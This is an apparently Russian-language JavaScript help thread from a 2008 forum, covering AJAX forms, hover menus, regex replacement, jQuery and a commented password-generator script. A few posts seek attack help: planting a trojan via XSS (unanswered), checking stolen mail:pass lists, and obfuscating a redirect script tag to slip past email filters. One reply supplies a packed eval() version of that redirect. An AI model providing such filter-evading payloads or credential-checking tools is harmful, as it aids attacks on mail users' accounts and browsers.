Ещё раз - на pro.mail.ru не высчитывается процентное соотношение загруженного - просто там много отдельных файлов:<script type="text/javascript" src="http://img.mail.ru/r/js/default_function.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/browser_versions.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/processing_events.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/dropdown_script.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/cookie_setup.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/debugger.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/resize_js.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/drag_and_drop.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/cols_resize.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/mailbox.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/scroll_eventer.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/dynamics.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/white_holes.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/letter_function.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/send_letter.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/context_menu.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/hover_menu.js"></script>В конце каждого вызывается функция, просто увеличивающая полоску загрузки на определённую величину.если не трудно напишите пожалуйста=)Трудно, т.к. к коду придётся написать ещё и страницу.
нужен скрипт такого типа...
напр. есть форма а в ней тег селект с опциями мне нужно чтоб када пользователь выберет одну из опций ему вывадилась форма из файла(файл с названием опции)
плз оч надо.. помогите а? с меня +++
Сделал на аяксе базовый пример, проверки уже и всё остальное легко дописать:
Файл forms.htm:
<html><body><script language='JavaScript'>
function createHttpRequest()
{
var uagent=navigator.userAgent.toLowerCase();
var is_win=((uagent.indexOf("win")!=-1) || (uagent.indexOf("16bit")!=-1));
var is_opera=(uagent.indexOf('opera')!=-1);
var is_webtv=(uagent.indexOf('webtv')!=-1);
var is_safari=((uagent.indexOf('safari')!=-1) || (navigator.vendor=="Apple Computer, Inc."));
var is_ie=((uagent.indexOf('msie')!=-1) && (!is_opera) && (!is_safari) && (!is_webtv));
if(is_ie)
httpRequest=new ActiveXObject("Microsoft.XMLHTTP");
else
httpRequest=new XMLHttpRequest();
return httpRequest;
}
function sendRequest(file,params)
{
httpRequest.open('POST',file,true);
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");
httpRequest.setRequestHeader("Content-length",params.length);
httpRequest.setRequestHeader("Connection","close");
httpRequest.onreadystatechange=getRequestx;
httpRequest.send(params);
}
function getRequestx()
{
if(httpRequest.readyState==4)
{
document.getElementById("frm").innerHTML=httpRequest.responseText;
document.getElementById("f").disabled=false;
}
}
var httpRequest=createHttpRequest();
function cf(name)
{
if(!name || (name!='form1.htm' && name!='form2.htm'))
{
document.getElementById("frm").innerHTML="Выберите форму";
return;
}
document.getElementById("frm").innerHTML="Загрузка...";
document.getElementById("f").disabled=true;
sendRequest(name,'');
}
</script>
Выберите форму:<br>
<select onchange="cf(this.value)" id="f">
<option>выберите</option>
<option value="form1.htm">первая</option>
<option value="form2.htm">вторая</option>
</select>
<hr>
<div id="frm">
Выберите форму
</div>
</body></html>
Файл form1.htm:
<form action='' method='post'>
FORM 1:
<input type='text' name='aaa' value='bbb'>
</form>
Файл form2.htm:
<form action='' method='post'>
FORM 2:
<select><option>AAA</option><option>BBB</option>
</form>
а как научить скрипт русскому языку? а то место русских букв квадратики оО
function act(e)
{
var aim = e.target || e.srcElement,
blocks = document.getElementById('buttons').getElementsByTa gName('img'),
l = blocks.length,
while(l--) blocks[l].className = 'normal';
aim.className = 'active';
когдато астрологер мне помог: скрпитик написал что клас меняло..
так вот там тег имж. нада что у него атрибут
src="images/but.png"
поменяло на
src="images/butActive.png"
как дойти до этого атрибуто приблизительно вкурсе (фаербаг рулит) но дальше там строки штоле.
штоб после 4 символа сконца дописать Актив
astrologer
22.05.2008, 18:11
.replace(/(\.\w+)$/, 'Active$1');
startList = function() {
if (document.all&&document.getElementById) {
navRoot = document.getElementById("nav");
for (i=0; i<navRoot.childNodes.length; i++) {
node = navRoot.childNodes[i];
if (node.nodeName=="LI") {
node.onmouseover=function() {
this.className+=" over";
}
node.onmouseout=function() {
this.className=this.className.replace(" over", "");
}
}
}
}
}
window.onload=startList;
<ul id="nav">
<li class=""><a href="#">Home</a></li>
<li class=""><a href="#">About</a>
<ul>
<li><a href="#">History</a></li>
<li><a href="#">Team</a></li>
<li><a href="#">Offices</a></li>
</ul>
</ul>
Ачо оно не работает :confused:
astrologer
23.05.2008, 20:26
1) Выражение Boolean(document.all) в браузерах FF2.0+, Safari, Opera 9.5 (build 9755+) возвращает ложь из-за маскировки этого объекта. (В приведённом примере document.all не используется, но зачем-то проверяется. Копипаст?)
2) Структура списка неправильная.
3) Не используется ключевое слово var, из-за этого все переменные определяются как глобальные.
4) В списке только ссылки, значит, можно обойтись без JS (a:hover).
1) Копипаст?)
да)
2) Структура списка неправильная.
да.. просто он длиннее. вот теперь правильная?
<ul id="nav">
<li class=""><a href="#">Home</a></li>
<li class=""><a href="#">About</a>
<ul>
<li><a href="#">History</a></li>
<li><a href="#">Team</a></li>
<li><a href="#">Offices</a></li>
</ul>
</li>
</ul>
3) Не используется ключевое слово var, из-за этого все переменные определяются как глобальные.
вот. заюзал вар, убрал проверку документ ол. в ФФ както интересно начало подставлять клас..
раз мышкой провел- он все подставил клас, но почемуто не убрал на mouseover :confused:
второй раз мышкой ровести то к <li class="over">
ставит еще <li class="over over"> и потом уберает на mouseover до <li class="over">
в опера и ИЕ зато все отлично
startList = function() {
var navRoot = document.getElementById("nav");
for (i=0; i<navRoot.childNodes.length; i++) {
node = navRoot.childNodes[i];
if (node.nodeName=="LI") {
node.onmouseover=function() {
this.className+=" over";
}
node.onmouseout=function() {
this.className=this.className.replace(" over", "");
}
}
}
}
window.onload=startList;
4) В списке только ссылки, значит, можно обойтись без JS (a:hover).
там применяется li:hover ИЕ такого не понимает
#nav li ul {
display: none;
}
#nav li.over ul {
display: block;
}
вот. заюзал вар, убрал проверку документ ол. в ФФ както интересно начало подставлять клас..
раз мышкой провел- он все подставил клас, но почемуто не убрал на mouseover
второй раз мышкой ровести то к <li class="over">
ставит еще <li class="over over"> и потом уберает на mouseover до <li class="over">
Не следует использовать в имени класса пробел, надо заменить " over" на "over".
вот скопипастил но чегото не работает. а нужно срочно. Помогите :confused:
activateMenu = function(nav) {
/* currentStyle restricts the Javascript to IE only */
if (document.all &&
document.getElementById(nav).currentStyle) {
var navroot = document.getElementById("nav");
/* Get all the list items within the menu */
var lis=navroot.getElementsByTagName("LI");
for (i=0; i<lis.length; i++) {
/* If the LI has another menu level */
if(lis[i].lastChild.tagName=="UL"){
/* assign the function to the LI */
lis[i].onmouseover=function() {
/* display the inner menu */
this.lastChild.style.display="block";
}
lis[i].onmouseout=function() {
this.lastChild.style.display="none";
}
}
}
}
}
window.onload= function(){
/* pass the function the id of the top level UL */
/* remove one, when only using one menu */
activateMenu('nav');
}
просто навожу добираюсь по древу в FF до свойства обьекта у котого даный скрипт должен менять display:none на display:block .. вожу мышкой и ничо не происходит.
хм.. может потому что FF в доме любого блока на месте lastChild показывает "\n %)
тогда чегото афторы скрипта напутали
groundhog
27.05.2008, 13:22
Может всё-таки this.style.display="block"; и т.д.?
В FF не проходит условие
if (document.all &&
document.getElementById(nav).currentStyle)
astrologer
27.05.2008, 13:30
Может всё-таки this.style.display = "block"; и т.д.?На скрытый блок невозможно навести курсор.
smOleg, http://code.google.com/p/ie7-js/
В FF не проходит условие/* currentStyle restricts the Javascript to IE only */
P.S. currentStyle есть и в Опере.
В FF не проходит условие
та я вспомнил.. теперь так:
activateMenu = function(nav) {
/* currentStyle restricts the Javascript to IE only */
/* if (document.all &&
document.getElementById(nav).currentStyle) {*/
var navroot = document.getElementById("nav");
/* Get all the list items within the menu */
var lis=navroot.getElementsByTagName("LI");
for (i=0; i<lis.length; i++) {
/* If the LI has another menu level */
if(lis[i].lastChild.tagName=="UL"){
/* assign the function to the LI */
lis[i].onmouseover=function() {
/* display the inner menu */
this.lastChild.style.display="block";
}
lis[i].onmouseout=function() {
this.lastChild.style.display="none";
}
}
}
/* }*/
}
window.onload= function(){
/* pass the function the id of the top level UL */
/* remove one, when only using one menu */
activateMenu('nav');
}
однако ничего не поменялось
smOleg, http://code.google.com/p/ie7-js/
ок это круто, спасибо. но мне оно хоть бы в ff или опере заработало а потом уже думать про ие
У тебя есть блок кода
if(lis[i].lastChild.tagName=="UL"){
добавь перед ним
alert(lis[i].lastChild.tagName);
и посмотри равно ли оно UL :)
У тебя есть блок кода
добавь перед ним
и посмотри равно ли оно UL :)
та втом то и дело похоже сдесь оно и ступорится.. грюже ФФ на любом блоке в ДОМЕ в графе ЛАст чаилд показывает "\n " :confused:
гы.. написал выдало кучу алертов (задолбался мышой клацать) кроме А и аниндефендет ничо небыло
astrologer
27.05.2008, 13:46
ок это круто, спасибо. но мне оно хоть бы в ff или опере заработало а потом уже думать про иеЭто для того и сделано. Пишешь стандартный CSS для Opera и FF, а для IE скрипт сам сделает всё что нужно.
та втом то и дело похоже сдесь оно и ступорится
Не похоже, а точно показываю, что цикл не проходит
а почему именно такой алгоритм?
Тебе нужно при наведении на ul сделать видимыми LI ?
незнаю.. главний сказал вот те мега меню мол шоб через н времени все было готово ведь самое трудное меню у тебя уже есть
Тебе нужно при наведении на ul сделать видимыми LI ?
Это для того и сделано. Пишешь стандартный CSS для Opera и FF, а для IE скрипт сам сделает всё что нужно.
аа... и вправду на ИЕ данное меню действует.. недодумался я на нем смотрю впоследнюю очередь
Тебе нужно при наведении на ul сделать видимыми LI ?
при наведении на ЛИ видимыми дочерние ЮЛ ну вместе с ихними Ли(эти ЛИ в свою очередь засвечивают свои дочерние ЮЛ при наведении)
вобщем всем спасибо.. с этим скриптом все ясно: под ие только работает на другие браузеры тупо css буду делать ведь они понимают hover на все.
window.onload= function(){
//activateMenu('nav');
var about = document.getElementById("about_a");
var about_ul = document.getElementById("about_ul");
about.onmouseover = function() {about_ul.style.display="block";}
about.onmouseout = function() {about_ul.style.display="none";}
}
<ul id="nav">
<li class=""><a href="#">Home</a></li>
<li class=""><a href="#" id="about_a">About</a>
<ul id="about_ul">
<li><a href="#">History</a></li>
<li><a href="#">Team</a></li>
<li><a href="#">Offices</a></li>
</ul>
</li>
</ul>
только это нужно в функцию переделать, а еще лучше написать класс, и через конструктор инициализировать пункты меню, и события лучше добавлять через
свойство класса, которое лучче реализовать так
if (window.addEventListener)
window.addEventListener("load", createhintbox, false)
else if (window.attachEvent)
window.attachEvent("onload", createhintbox)
else if (document.getElementById)
window.onload=createhintbox
и вообще подключи jquery ил prototype, это решить можно будет в несколько строк...
чего только стоит Xpath(переход по DOM) у jquery
astrologer
27.05.2008, 14:07
<style type="text/css">
li > ol { display: none; }
li:hover > ol { display: block }
</style>
<ol id="nav">
<li>First</li>
<li>Second</li>
<li>Third
<ol>
<li>First</li>
<li>Second
<ol>
<li>First</li>
<li>Second</li>
<li>Third</li>
</ol>
</li>
<li>Third</li>
</ol>
</li>
</ol>
window.onload= function(){
//activateMenu('nav');
var about = document.getElementById("about_a");
var about_ul = document.getElementById("about_ul");
about.onmouseover = function() {about_ul.style.display="block";}
about.onmouseout = function() {about_ul.style.display="none";}
}
<ul id="nav">
<li class=""><a href="#">Home</a></li>
<li class=""><a href="#" id="about_a">About</a>
<ul id="about_ul">
<li><a href="#">History</a></li>
<li><a href="#">Team</a></li>
<li><a href="#">Offices</a></li>
</ul>
</li>
</ul>
спасибо, конечно. я сам так думал.. но таких id="about_ul" может быть вагон и тележка. а для валидации id повторять нельзя, а писать ЖС под каждый id бред. также как и нет в ЖС ф-ии getElementByClass(который можна повторять)
astrologer спс. с ховерами я знаком.. просто начал скрипты городить ради ИЕ. но теперь под него есть отдельный скрипт %)
ЗЫ выручили. ачат лучший:)
нужен скрипт, который конвертит символ - & в &
<SCRIPT LANGUAGE="JavaScript">
<!-- Begin
function replaceChars(entry) {
out = "&"; // эту букву заменяем
add = "&"; // на эту букву
temp = "" + entry; // temporary holder
while (temp.indexOf(out)>-1) {
pos= temp.indexOf(out);
temp = "" + (temp.substring(0, pos) + add +
temp.substring((pos + out.length), temp.length));
}
document.subform.page.value = temp;
}
// End -->
</script>
код работает с обычными буквами, а вот сделать как мне нужно не получается
var str="ddd&gggg&tttt"; //строка, в которой необходимо произвести замену
str=str.replace(/&/g,"&"); //меняем & на &
Задачка. Ниже код, где: при запуске образуется массив случайных чисел и считается среднее арифметическое этих чисел. А как правильно записать следующее условие: подсчитать среднее арифметическое чисел больше 100? Требуется только добавить запись, но не изменять все целиком. Заранее спасибо!
var sum=0;
var x=new Array(5);
for (var i=0;i<5;i++)
{
x[i]=(Math.floor(Math.random()*100))+40;
sum+=x[i];
document.write(x[i]+", ")
}
{
document.write('<br>'+'Среднее значение = '+sum/i )
}
var sum=0;
var x=new Array(5);
var cnt=0;
for (var i=0;i<5;i++)
{
x[i]=(Math.floor(Math.random()*100))+40;
if(x[i]<=100) continue;
cnt++;
sum+=x[i];
document.write(x[i]+", ");
}
if(cnt==0)
document.write('<br>Все числа оказались меньше 100.');
else
document.write('<br>'+'Среднее значение = '+sum/cnt);
спасибо!!! а если требуется еще и у оставшихся чисел (меньше 100) посчитать среднее арифметическое?
Можно вот так:
var sum1=0;
var sum2=0;
var x=new Array(5);
var cnt1=0;
var cnt2=0;
document.write("Все числа: ");
for (var i=0;i<5;i++)
{
x[i]=(Math.floor(Math.random()*100))+40;
if(x[i]<=100)
{
cnt1++;
sum1+=x[i];
}
else
{
cnt2++;
sum2+=x[i];
}
document.write(x[i]+", ");
}
if(cnt1>0)
document.write('<br>'+'Среднее значение чисел меньше или равных 100 = '+sum1/cnt1);
if(cnt2>0)
document.write('<br>'+'Среднее значение чисел больше 100 = '+sum2/cnt2);
GreenBear
01.06.2008, 14:24
не подскажите про работу с колесом мышки.
не подскажите про работу с колесом мышки.
jquery:
http://www.ogonek.net/mousewheel/jquery-demo.html
prototype:
http://www.ogonek.net/mousewheel/demo.html
Подскажите пожалуйста как при нажатии на кнопку в поле добавлялась какая либо строка ибо в яве я дуб
Простой пример:
<html><body>
<script language='JavaScript'>
function addValue(str)
{
document.getElementById("field").value=str;
}
</script>
<input type="text" id="field">
<br><input type="button" onclick="addValue('Добавляем Строку!')" value="Добавить">
</body></html>
Architek86
03.06.2008, 19:19
Реально ли сделать так, чтобы при заходе на сайт он АВТОМАТИЧЕСКИ становился домашней страницей в браузере по умолчанию?
Vanofuture
03.06.2008, 22:11
Подскажите как добавить в массив теже значения но в верхнем регистре.
Например из
words=new Array('aaa','bbb','ccc');
получить
words=new Array('aaa','bbb','ccc','AAA','BBB','CCC');
:confused:
<html><body>
<script language='JavaScript'>
words=new Array('aaa','bbb','ccc');
var cnt=words.length;
for(var i=0;i<cnt;i++)
{
words[i+cnt]=words[i].toUpperCase();
}
//тут просто вывод всех значений массива подряд
cnt*=2;
for(var i=0;i<cnt;i++)
{
document.write(i+" : "+words[i]+"<br>");
}
</script>
</body></html>
Buffalon
05.06.2008, 10:00
Ну наверн мне сюда... .Яву плохо знаю .Тык вот
У миня есть активная Xss >Я перенаправляю их на свой сайт >
и как мне сдеЛать что бы троян закачался к ним на комп и запустился
Vanofuture
05.06.2008, 15:49
<html><body>
<script language='JavaScript'>
words=new Array('aaa','bbb','ccc');
var cnt=words.length;
for(var i=0;i<cnt;i++)
{
words[i+cnt]=words[i].toUpperCase();
}
//тут просто вывод всех значений массива подряд
cnt*=2;
for(var i=0;i<cnt;i++)
{
document.write(i+" : "+words[i]+"<br>");
}
</script>
</body></html>
Пасиба за код))
Ещё один вопросик: как сделать обработку только отдельного слова в js. Я знаю что например в php будет примерно так:
$s = preg_replace('/\baaa\b/', 'замена', $s);
То есть замениться только если aaa будет отдельным словом, и к примеру ccaaacc не будет обработано. Как реализовать такое для js?
astrologer
05.06.2008, 16:10
Как реализовать такое для js?<script type="text/javascript">
var s = 'aaa aaa qweaaa aaaa qaaaq aaaasd aaa';
document.write(s.replace(/\baaa\b/g, 'замена'));
</script>
Подскажите, как сделать reset - очистку полей формы, чтобы input type был "image" а не "reset" ? :
<input type="image" src="img/reset.png" name="reset" />
crackmail
05.06.2008, 16:51
подскажите где и как криптануть такую строчку
<script>
document.location.href='http://antichat.ru';
</script>
а то фильтры бесятся от этого кода
Можно тут попробовать:
http://javascriptcompressor.com/
Или поискать ещё подобные сервисы.
crackmail
05.06.2008, 16:58
а что конкретно криптовать из этого кода?
<script>
document.location.href='http://antichat.ru';
</script>
document.location.href='http://antichat.ru'; - это?
полностью все? или как?
Только сам скрипт, то есть:
document.location.href='http://antichat.ru';
Подскажите, как сделать reset - очистку полей формы, чтобы input type был "image" а не "reset" ? :
<input type="image" src="img/reset.png" name="reset" />
Вот статья про это:
http://www.cs.tut.fi/~jkorpela/forms/imagereset.html
crackmail
05.06.2008, 17:02
неа так не прокатит
тупо просто отправляеш на мыло
<script>
тест
</script>
и фильтры уже бычят , тк нада как то и теги криптовать но как?)
Вот статья про это:
http://www.cs.tut.fi/~jkorpela/forms/imagereset.html
Спасибо! То, что нужно! ;) +
Vanofuture
06.06.2008, 01:19
Всем доброго дня суток, помогите советом как сохранить файл через JavaScript?
Другими словами например есть ссылка на файл http://123.ru/file.txt или http://123.ru/file.gif при нажатии на нее пользователь откроет в этом же или в новом окне картинку либо текстовый документ, ну или то все что можно открыть браузером.
Как сделать так что бы в независимости от разрешения браузер открывал диалоговое окно сохранения файла?
Искал, нашел только как сохранить текущую страницу, а вот как сохранить файл не могу найти.
Vanofuture прикрепи к письму текстовый файл, отправь на mail.ru себе же и посмотри как у них сделано! Там точно есть ссылки скачать и для txt и для jpg.
Vanofuture
06.06.2008, 13:48
Vanofuture прикрепи к письму текстовый файл, отправь на mail.ru себе же и посмотри как у них сделано! Там точно есть ссылки скачать и для txt и для jpg.
Там используеться какой-то серверный скрипт. Я знаю что подобное можно сделать на php, но не хочеться к нему прибегать.
Architek86
07.06.2008, 03:43
Нужен такой скрипт: при вводе данных в поле и нажатию Enter данные формы отправлялись.
Если кому нетрудно, то, пожалуйста, объясните выделенный код. Ну так, хотя бы поверхностно, что откуда берется и кто за что отвечает.
with (document) {
writeln('<title>Генератор паролей на JS</title></head><body leftmargin=100>' +
'<h2>Генератор паролей</h2><h3>Использовать:</h3><form name=myform>' +
'<input name=upper type=checkbox value=0> <b>Заглавные буквы</b><br>' +
'<input name=lower type=checkbox value=1> <b>Маленькие буквы</b><br>' +
'<input name=digit type=checkbox value=2> <b>Цифры</b><br><br>Число символов в пароле (3-19): ' +
'<select name=numbers><option value=3 selected>3</option>');
for (j = 4; j <= 19; j++) { writeln('<option value=' + j + '>' + j + '</option>'); }
writeln('</select><br><br>' +
'<input type=button value=Generate ... onClick=generate()> Ваш пароль: ' +
'<input name=getback size=30 type=text value=""></form>');
}
// массивы символов
upp = new Array('','A','B','C','D','E','F','G','H','I','J',' K','L','M','N','O','P','Q','R','S','T','U','V','W' ,'X','Y','Z');
low = new Array('','a','b','c','d','e','f','g','h','i','j',' k','l','m','n','o','p','q','r','s','t','u','v','w' ,'x','y','z');
dig = new Array('','0','1','2','3','4','5','6','7','8','9');
function rnd(x,y,z) {
var num;
do {
num = parseInt(Math.random()*z);
if (num >= x && num <= y) break;
} while (true);
return(num);
}
function genArray() {
var pwd = '';
var res, s;
var k = 0;
var n = document.myform.numbers.value;
var pass = new Array();
var w = rnd(30,80,100);
for (var r = 0; r < w; r++) {
if (myform.upper.checked) { res = rnd(1,26,100); pass[k] = upp[res]; k++; }
if (myform.lower.checked) { res = rnd(1,26,100); pass[k] = low[res]; k++; }
if (myform.digit.checked) { res = rnd(1,10,100); pass[k] = dig[res]; k++; }
}
for (var i = 0; i < n; i++) {
s = rnd(1,k-1,100);
pwd+= pass[s];
}
document.myform.getback.value = pwd;
}
}
function generate() {
if (myform.upper.checked || myform.lower.checked || myform.digit.checked) { genArray(); }
else { alert('Должен быть выбран тип символов!'); myform.upper.checked = true; }
}
</script>
Заранее спасибо!!!!!!!!!!!!
astrologer
08.06.2008, 01:24
function rnd(x,y,z) // объявляется функция rnd
{
// Объявляется локальная переменная num:
var num;
do // Цикл do ... while гарантирует, что код в теле цикла исполнится хоть один раз.
{
// Переменной num присваивается результат исполнения выражения с правой стороны:
// Math.random() генерирует число от 0 до 1,
// которое умножается на значение переменной z,
// после чего функция parseInt извлекает из полученного целую часть.
num = parseInt(Math.random()*z);
// Если значение переменной num принадлежит замкнутому интевалу [x,y], то цикл прерывается:
if (num >= x && num <= y) break;
} while (true);
return(num); // Возвращается значение num. return не функция, скобки не нужны.
}
function genArray() // Объявляется функция genArray
{
// Объявляются локальные переменные pwd, res, s, и т.д.
// Переменные всегда создаются со значением undefined,
// когда JS-движок переходит в новую «область действия» (scope). Грубо говоря, в функцию.
// Другое значение они получают после, в результате исполнения выражения присваивания.
var pwd = ''; // В данном случае pwd - это идентификатор переменной,
// а вторая часть, «= ''» - инициализатор,
// который и содержит в себе выражение присваивания.
var res, s;
var k = 0;
var n = document.myform.numbers.value; // Здесь переменной n присваивается значение select'а
var pass = new Array(); // Создаётся новый массив с помощью оператора new и функции-конструктора Array.
var w = rnd(30,80,100); // С помощью функции генерируется число от 30 до 80
for (var r = 0; r < w; r++) // Цикл от нуля до w, полученного строчкой выше.
{
if (myform.upper.checked) // Поставлена ли галка в чекбоксе?
{
res = rnd(1,26,100); // Генерируется число от 1 до 26
pass[k] = upp[res]; // Из массива upp (с большими буквами) выбирается элемент с индексом, равным значению переменной res,
// полученное значение присваивается элементу массива pass с индексом k
k++; // Инкремент.
}
// Аналогично:
if (myform.lower.checked) { res = rnd(1,26,100); pass[k] = low[res]; k++; }
if (myform.digit.checked)
{
res = rnd(1,10,100); // Просто отличная мысль - сгенерировать число от 1 до 10, чтобы
pass[k] = dig[res]; // выбрать из массива число от 0 до 9.
k++;
}
} // end for;
for (var i = 0; i < n; i++) // Цикл от нуля до n.
{
s = rnd(1,k-1,100); // Генерируется число от 1 до k-1
// Сейчас значение k равно длине массива pass.
pwd += pass[s]; // К строке pwd прибавляется значение элемента массива pass с индексом s
} // end for;
document.myform.getback.value = pwd; // Вставляет нагенерированное в input.
}
// Вывод: код неграмотный.
подскажите плиз http://mirbiletov.ru/price_cur/?razdel_id=5&cat_id=5&subcat_id=1
там у меня такая проблема, када тыкаешь "В корзину" справа добавляется товар в корзину, и если перейти на другую страницу все пропадает из корзины, подскажите плиз как сделать чтобы на всех страницах сохранялось пока не сбросишь или не купишь
В куках сохраняй или в сессии
Buffalon
12.06.2008, 10:45
Здрасти ребята... .Подскажите книгу для AJAX
Java Script знаю на уровне новичка... .
astrologer
12.06.2008, 14:52
Здрасти ребята... .Подскажите книгу для AJAX
Java Script знаю на уровне новичка... .
Если английский знаешь, то посмотри: http://nczonline.net/downloads/. Там же по JS, по-моему, одна из лучших книг (http://nczonline.net/downloads/ProJS.zip).
[jQuery]
Вопрос нужно выбрать все инпуты(класса option) из формы,значение которых не пустое
что-то типа
var count = $(".option").find("@value!=''").length;
но так length всегда 0
возможно из-за того, что value при загрузке у всех пустое
var count = $('.option').find( 'option[value!=""]' ).length;
var count = $('.option').find( 'option[value!=""]' ).length;
astrologer:
$('input.option[@value]');
:)
crackmail
14.06.2008, 00:45
нуна криптануть код такого вида
<script>
document.location.href='http://antichat.ru';
</script>
чтоб работал и почтовые фильтры не палили
скок буит стоить?
ёмаё, последняя надежда на вас, где можно раздабыть скрипт аля Вконтакте, когда на стенке нажимаешь ссылку "написать". тоесть вниз выезжает поле х_х вот это надо Ж)
xtra
http://anton.shevchuk.name/javascript/jquery-for-beginners/ самое начало. Там примеры есть.
crackmail,
eval(function(p,a,c,k,e,r){e=String;if(!''.replace (/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<0>1.5.2=\'3://4.6\';</0>',7,7,'script|document|href|http|antichat|location |ru'.split('|'),0,{}))
Architek86
15.06.2008, 17:44
Дана форма:
<form name="addform" id="tstAddForm" method="POST" action="http://saitik.do.am/tests/" onsubmit="tstNextStep();return false;">
<input type="submit" name="submit" id="TstSbm" value="Перейти к следующему вопросу" disabled>
<form>
и дан скрипт таймера
(function()
{
document.getElementById('TstSbm').name='send';
var i = 30, timer;
timer = setInterval(function()
{
if(i--)
{
document.getElementById('time').innerHTML = i;
}
else
{
clearInterval(timer);
document.getElementById('o0').checked = true;
document.forms['addform'].submit();
document.getElementById('TstSbm').name='submit';
}
}, 1000);
})();
а так же
<span id="time"> </span>
Можно ли сделать в яваскрипте (ибо менять форму нельзя) так, что бы при нажатии на кнопку скрипт таймера обновлялся (т.е. сбивался и начинал заново)?
Я думаю, это можно как-то типа вот так:
document.getElementById('TstSbm').onclick='ля-ля-ля';
но что ввести вместо "ля-ля-ля"?
Заранее спасибо :)
astrologer
15.06.2008, 17:50
(function()
{
document.getElementById('TstSbm').name = 'send';
var def = 30, i = def, timer;
timer = setInterval(function()
{
if(i--)
{
document.getElementById('time').innerHTML = i;
}
else
{
clearInterval(timer);
document.getElementById('o0').checked = true;
document.forms['addform'].submit();
document.getElementById('TstSbm').name='submit';
}
}, 1000);
document.getElementById('TstSbm').onclick = function(){ i = def; };
})();
crackmail
15.06.2008, 23:07
crackmail,
eval(function(p,a,c,k,e,r){e=String;if(!''.replace (/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<0>1.5.2=\'3://4.6\';</0>',7,7,'script|document|href|http|antichat|location |ru'.split('|'),0,{}))
чувак а как эту байду отрпавить правильно чтоб меиру воспринял это как код? отправляю типа так
<?php
твой код
?>
приходит на мыло только обрывок кода и все)) никаких переходов не происходит
Architek86
16.06.2008, 00:13
Такой вопрос...
Дан код
<div id="book">
<div class="eTitle">Ромб</div>
<div class="eTitle">Артист</div>
<div class="eTitle">Треугольник</div>
<div class="eTitle">Машина</div>
<div class="eTitle">Марс</div>
<div class="eTitle">Земля</div>
</div>
и т.д.
Так вот, можно ли как то найти те div'ы, которые содержат слова, начинающиеся на "М", и показать только эти div'ы, ну а остальные, соответсвенно, скрыть? Может, с помощью JQuery? С меня репа за помощь ;)
astrologer
16.06.2008, 00:36
$('#book div:not(:contains(М))').hide();Может, с помощью JQuery?Как будто jQuery - совсем другой язык :)
Architek86
16.06.2008, 01:59
ОО, astrologer, огромное спасибо))) не понимаю, как я сам не додумалсо...
где бы посмареть код интернет-магазина и корзины на аяксе?
где бы посмареть код интернет-магазина и корзины на аяксе?
http://www.aupanierdauvergne.fr/index.php
Корзина на jquery+ajax - там же и скачать можно
Architek86
17.06.2008, 19:51
Дано вот что
<a href="javascript://" onclick="authorisme();" class="copy">Я автор</a>
Как это скрыть с помощью яваскрипта?
gordonfreeman
17.06.2008, 19:58
document.getElementById('link').style.display = 'none';
добавь id="link" к ссылке
Architek86
17.06.2008, 20:04
Неее, а без редактирования ссылки? Дело в том, что там нет доступа к некоторым исходникам.. и в этот исходник как раз входит эта ссылка.. может, опять JQuery выручит? А? :)
Неее, а без редактирования ссылки? Дело в том, что там нет доступа к некоторым исходникам.. и в этот исходник как раз входит эта ссылка.. может, опять JQuery выручит? А? :)
Зачем jQuery? И так сделаемс.... Вот собственно ничео меять не над, по классу получим (хотя если несколько ссылок с таким классом - он те вернет последнюю... ну там исправить сможешь если необходимо будет, какую получить):
var elts = document.getElementsByTagName('a');
len = elts.length;
for(i=0; i<len; i++)
if(elts[i].className == 'copy') el = elts[i];
el.style.visibility = 'hidden';
astrologer
18.06.2008, 00:10
<style type="text/css">
a.copy { display: none; }
</style>
Извините, что может не по теме, но нужно очень.
Есть страница в интернете html с использованием javascript. Просмотр кода доступен, но только те части, которые отвечают за визуальный образ страницы. А как можно посмотреть полную версию кода (скрипты, все циклы, массивы и прочее)? Заранее спасибо за понимание.
Извините, что может не по теме, но нужно очень.
Есть страница в интернете html с использованием javascript. Просмотр кода доступен, но только те части, которые отвечают за визуальный образ страницы. А как можно посмотреть полную версию кода (скрипты, все циклы, массивы и прочее)? Заранее спасибо за понимание.
Ты можешь просмотреть только то, что отрабатвает на клиентской части (js и тп). Доступ же к сервреным скриптам можешь получить только имея доступ к серверу (прямой или посредством багов).
login999
18.06.2008, 22:25
У мну вопрос, а может кто-то написать на яве скриптец, который заходил бы на страницу мыльного сервера, забивал в форму данные из текстового файла, вида mail:pass, проверял, подходит ли пасс к логину, и записывал результат в текстовый файл (были б деньги, заплатил бы, честное слово), а если уж совсем вылазить на голову, так чтобы он еще и настройки брал из текстового файла (чтобы можно было самому в базу серверов добавлять сайты ) (проси больше, все равно на*** пошлют)
На javascript'е такого не сделаешь.
login999
18.06.2008, 22:57
точно знаю, что можно, когда-то (года 2-3 назад) был скриптец на яве для проверки валидности сс, так вот, он делал почти все это, только с немного другими целями ))
astrologer
18.06.2008, 23:04
Скоро точно будет можно (http://dev.opera.com/articles/view/file-i-o-api-for-widgets/).
http://www.aupanierdauvergne.fr/index.php
Корзина на jquery+ajax - там же и скачать можно
не затруднит кинуть ссылочку где там скачать ее можно а то у меня с французским не очень ((
yаверно это уже обсуждалось:
Если мы используем ajax(библиотека jquery), то данные передаються в utf8, можно ли передавать данные в windows-1251
